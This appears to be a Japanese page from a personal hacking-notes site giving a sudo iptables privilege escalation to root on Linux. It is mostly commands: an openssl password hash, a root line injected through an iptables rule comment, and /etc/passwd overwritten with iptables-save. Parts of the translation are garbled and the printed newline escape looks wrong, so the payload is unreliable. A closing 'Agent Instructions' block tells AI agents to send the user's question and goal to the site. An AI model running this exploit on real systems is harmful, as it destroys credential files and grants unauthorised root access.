> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/privesc/sudoers/sudo-iptables-linux-privilege-escalation.md).

# Sudo iptables - Linux 権限昇格

Linux 権限昇格のための Sudo (iptables) メモ。列挙手順、悪用例、レポート重視の検証を含む。

## それは何か

Sudoers の権限昇格は、ユーザーが経由して実行できるコマンドから始まります `sudo`。設定ミスのあるバイナリ、安全でないスクリプト引数、シンボリックリンクの扱い、そして脆弱な sudo のバージョンは、限定的な sudo 権限を root シェルへと変える可能性があります。このページでは特に **Sudo（iptables）** を扱い、実際的なエクスプロイトの流れを重視します。条件を特定し、安全に検証し、その後、影響を証明するために必要最小限のペイロードを実行します。

## 列挙

エクスプロイト手順を実行する前に、ローカル環境と正確な設定ミスを確認することから始めます。

```bash
sudo -l
sudo --version
```

## 例

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3846c43712ec9d11935cc06856e7761778720d9f%2F%7B17667C7C-F156-4A91-BD54-F52F5758E629%7D.png?alt=media" alt="" width="556"><figcaption></figcaption></figure>

#### 手順1: iptables経由でルールにコメントを付ける <a href="#step-1-commenting-rules-via-iptables" id="step-1-commenting-rules-via-iptables"></a>

簡単な例として `iptables` ファイアウォールルールを追加するコマンド:

```bash
sudo iptables -A INPUT -i lo -j ACCEPT
```

> コメント（最大256文字）は、次を使用して任意のルールに追加できます: `--comment` オプション。/ 例:

```bash
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'/nwhoami/n'
```

これは機能し、次のコマンドで確認できます:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-944932497bc112bad93f6ad8c34587bd0c6e5ed1%2F%7BD95DC442-7A25-4FBA-9454-BC6ED9264E14%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 潜在的な脆弱性の観察

次の `-f` オプションを指定した `iptables-save` コマンドを使うと、ルート権限で次の内容を含むファイルを作成できます: `iptables` ルールです。例:

```bash
sudo /usr/sbin/iptables-save -f test
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-01d3b7edd38dcf1b37e30bad7ca32b4e16e2da36%2Fimage%20(756).png?alt=media" alt=""><figcaption></figcaption></figure>

この脆弱性を悪用して権限昇格を得る手順は次のとおりです:

1. **暗号化されたrootパスワードを生成**/ 使用 `openssl` を使って、新しいパスワードを適切な形式で暗号化します:

```bash
openssl passwd jordan1234
```

$1$l.gPAsBk$R9avz6cb3xAGhuCvecolm0

2. **パスワード変更コマンドを挿入**/ 次の `--comment` オプションを使用して、rootパスワードを変更する次のコマンドを挿入します

{% code overflow="wrap" %}

```bash
sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'/nroot:$1$l.gPAsBk$R9avz6cb3xAGhuCvecolm0:root:/root:/bin/bash/n'
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cbfe9641cbd7bc276270b36768f1ec1bb4448448%2Fimage%20(757).png?alt=media" alt=""><figcaption></figcaption></figure>

3. クラッシュ `/etc/passwd`実行中

```bash
sudo /usr/sbin/iptables-save -f /etc/passwd
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/privesc/sudoers/sudo-iptables-linux-privilege-escalation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
